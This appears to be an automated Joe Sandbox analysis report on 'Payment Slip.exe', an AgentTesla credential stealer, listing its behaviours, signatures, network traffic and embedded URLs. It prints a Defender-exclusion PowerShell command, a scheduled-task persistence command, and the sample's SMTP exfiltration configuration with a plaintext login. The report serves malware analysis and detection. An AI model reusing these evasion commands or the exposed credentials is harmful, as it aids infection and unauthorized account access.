Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Payment Slip.exe

Overview

General Information

Sample Name:Payment Slip.exe
Analysis ID:635144
MD5:29b03eb0f987f638b99ef23c8e3681ad
SHA1:174069ad27d00891343e794167abf298cb5f3e5b
SHA256:e799a969eca8b72287a0b6a1b7015d6a47fa07e30d960b1a33b2e8178efd80a8
Tags:exe
Infos:

Detection

AgentTesla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected AgentTesla
Yara detected AntiVM3
Multi AV Scanner detection for dropped file
Tries to steal Mail credentials (via file / registry access)
Initial sample is a PE file and has a suspicious name
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Modifies the hosts file
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Injects a PE file into a foreign processes
.NET source code contains very large array initializations
Adds a directory exclusion to Windows Defender
Hides that the sample has been downloaded from the Internet (zone.identifier)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Uses schtasks.exe or at.exe to add and modify task schedules
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
Drops PE files
Detected TCP or UDP traffic on non-standard ports
Uses SMTP (mail sending)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Dropped file seen in connection with other malware
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

  • System is w10x64
  • Payment Slip.exe (PID: 3736 cmdline: "C:\Users\user\Desktop\Payment Slip.exe" MD5: 29B03EB0F987F638B99EF23C8E3681AD)
    • powershell.exe (PID: 6564 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\aXqntX.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)
      • conhost.exe (PID: 6572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • schtasks.exe (PID: 6632 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\aXqntX" /XML "C:\Users\user\AppData\Local\Temp\tmp62DF.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)
      • conhost.exe (PID: 6016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • RegSvcs.exe (PID: 6004 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)
  • Tnpak.exe (PID: 4712 cmdline: "C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe" MD5: 2867A3817C9245F7CF518524DFD18F28)
    • conhost.exe (PID: 4956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • Tnpak.exe (PID: 6504 cmdline: "C:\Users\user\AppData\Roaming\Tnpak\Tnpak.exe" MD5: 2867A3817C9245F7CF518524DFD18F28)
    • conhost.exe (PID: 6424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Username": "edna@subnet-group.com", "Password": "cr0cksh1t", "Host": "mail.subnet-group.com"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000A.00000000.422706976.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
    0000000A.00000000.422706976.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
      0000000A.00000002.633233938.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
        0000000A.00000002.633233938.0000000000402000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
          00000001.00000002.426721179.0000000002CF0000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AntiVM_3Yara detected AntiVM_3Joe Security
            Click to see the 16 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            10.0.RegSvcs.exe.400000.0.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
              10.0.RegSvcs.exe.400000.0.unpackJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
                10.0.RegSvcs.exe.400000.0.unpackMALWARE_Win_AgentTeslaV3AgentTeslaV3 infostealer payloadditekSHen
                • 0x32c6a:$s10: logins
                • 0x326d1:$s11: credential
                • 0x2ec88:$g1: get_Clipboard
                • 0x2ec96:$g2: get_Keyboard
                • 0x2eca3:$g3: get_Password
                • 0x2ff85:$g4: get_CtrlKeyDown
                • 0x2ff95:$g5: get_ShiftKeyDown
                • 0x2ffa6:$g6: get_AltKeyDown
                1.2.Payment Slip.exe.3cb4c90.7.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                  1.2.Payment Slip.exe.3cb4c90.7.unpackJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
                    Click to see the 32 entries

                    Sigma Signatures

                    ⊘No Sigma rule has matched

                    Snort Signatures

                    ⊘No Snort rule has matched

                    Joe Sandbox Signatures

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection

                    barindex
                    Found malware configuration
                    Source: 1.2.Payment Slip.exe.3ce94b0.8.unpackMalware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Username": "edna@subnet-group.com", "Password": "cr0cksh1t", "Host": "mail.subnet-group.com"}
                    Multi AV Scanner detection for submitted file
                    Source: Payment Slip.exeReversingLabs: Detection: 20%
                    Multi AV Scanner detection for dropped file
                    Source: C:\Users\user\AppData\Roaming\aXqntX.exeReversingLabs: Detection: 20%
                    Source: 10.0.RegSvcs.exe.400000.4.unpackAvira: Label: TR/Spy.Gen8
                    Source: 10.0.RegSvcs.exe.400000.0.unpackAvira: Label: TR/Spy.Gen8
                    Source: 10.0.RegSvcs.exe.400000.2.unpackAvira: Label: TR/Spy.Gen8
                    Source: 10.2.RegSvcs.exe.400000.0.unpackAvira: Label: TR/Spy.Gen8
                    Source: 10.0.RegSvcs.exe.400000.1.unpackAvira: Label: TR/Spy.Gen8
                    Source: 10.0.RegSvcs.exe.400000.3.unpackAvira: Label: TR/Spy.Gen8
                    Source: Payment Slip.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                    Source: Payment Slip.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                    Source: Binary string: C:\Users\Administrator\Desktop\Client\Temp\qCeVrdCgfI\src\obj\x86\Debug\CustomAttributeExtensi.pdb source: Payment Slip.exe, aXqntX.exe.1.dr
                    Source: Binary string: RegSvcs.pdb, source: Tnpak.exe, 0000000F.00000000.453847960.0000000000082000.00000002.00000001.01000000.00000009.sdmp, Tnpak.exe, 00000011.00000002.477073808.0000000000FF2000.00000002.00000001.01000000.00000009.sdmp, Tnpak.exe.10.dr
                    Source: Binary string: RegSvcs.pdb source: Tnpak.exe, Tnpak.exe, 00000011.00000002.477073808.0000000000FF2000.00000002.00000001.01000000.00000009.sdmp, Tnpak.exe.10.dr
                    Source: Joe Sandbox ViewIP Address: 206.189.39.129 206.189.39.129
                    Source: global trafficTCP traffic: 192.168.2.7:49777 -> 206.189.39.129:587
                    Source: global trafficTCP traffic: 192.168.2.7:49777 -> 206.189.39.129:587
                    Source: RegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
                    Source: RegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
                    Source: RegSvcs.exe, 0000000A.00000002.634977340.00000000027F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://OVQvJM.com
                    Source: RegSvcs.exe, 0000000A.00000003.445840024.0000000005CCD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000003.461371858.0000000005CF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft.co6
                    Source: Payment Slip.exe, 00000001.00000003.369266021.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.369235997.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.369286109.00000000059BA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://en.w
                    Source: Payment Slip.exe, 00000001.00000003.368946624.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.368798069.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://fontfabrik.com
                    Source: RegSvcs.exe, 0000000A.00000002.636625632.0000000002B52000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://mail.subnet-group.com
                    Source: Payment Slip.exe, 00000001.00000002.425049862.0000000002961000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                    Source: RegSvcs.exe, 0000000A.00000002.636625632.0000000002B52000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://subnet-group.com
                    Source: Payment Slip.exe, 00000001.00000003.387874415.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.388096585.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.388216287.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.agfamonotype.
                    Source: Payment Slip.exe, 00000001.00000003.372228924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                    Source: Payment Slip.exe, 00000001.00000003.375277074.00000000059B4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.ascendercorp.com/typedesigners.htmlub
                    Source: Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com
                    Source: Payment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com(
                    Source: Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.com.
                    Source: Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comCJ
                    Source: Payment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comCs
                    Source: Payment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373838060.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comTC
                    Source: Payment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comTCC
                    Source: Payment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comTCJ
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
                    Source: Payment Slip.exe, 00000001.00000003.373640490.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373838060.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373713211.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comn-u
                    Source: Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.como.
                    Source: Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372352467.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372448851.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.como.4
                    Source: Payment Slip.exe, 00000001.00000003.373295811.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373465863.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comof
                    Source: Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373205981.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comsof
                    Source: Payment Slip.exe, 00000001.00000003.372798910.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.373064835.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372585049.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372513526.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.372988922.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.comt-b
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.378483975.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
                    Source: Payment Slip.exe, 00000001.00000003.378928308.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                    Source: Payment Slip.exe, 00000001.00000003.378483975.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/
                    Source: Payment Slip.exe, 00000001.00000003.378483975.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/$
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
                    Source: Payment Slip.exe, 00000001.00000003.379498168.00000000059C3000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379592614.00000000059C3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html$
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                    Source: Payment Slip.exe, 00000001.00000002.430192820.0000000006BA2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                    Source: Payment Slip.exe, 00000001.00000003.379538116.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379655535.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersX
                    Source: Payment Slip.exe, 00000001.00000003.392002293.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersa
                    Source: Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersn
                    Source: Payment Slip.exe, 00000001.00000003.378613313.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersp
                    Source: Payment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.391559224.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.392002293.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380260943.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380316955.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379742924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379538116.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379899373.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379655535.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379986432.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379805969.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380111560.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380045205.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comF
                    Source: Payment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379362960.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380260943.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379167828.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379742924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379538116.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379106889.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380697612.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379899373.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380903153.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.378867231.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379285162.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380650039.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379032096.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379655535.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comFk
                    Source: Payment Slip.exe, 00000001.00000003.379481727.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379362960.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379167828.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379106889.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379285162.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379032096.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.coma
                    Source: Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381467642.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comalsFv
                    Source: Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381467642.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comalsd
                    Source: Payment Slip.exe, 00000001.00000003.381266932.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380697612.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380903153.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381156369.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380362004.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381227299.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381094638.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380650039.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380970664.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381422053.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.381300332.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380790636.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.378928308.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comd
                    Source: Payment Slip.exe, 00000001.00000003.379742924.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379538116.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379899373.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379655535.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379986432.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.379805969.00000000059AB000.00000004.00000800.00020000.00000000.sdmp, Payment Slip.exe, 00000001.00000003.380045205.00000000059AB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.comd7
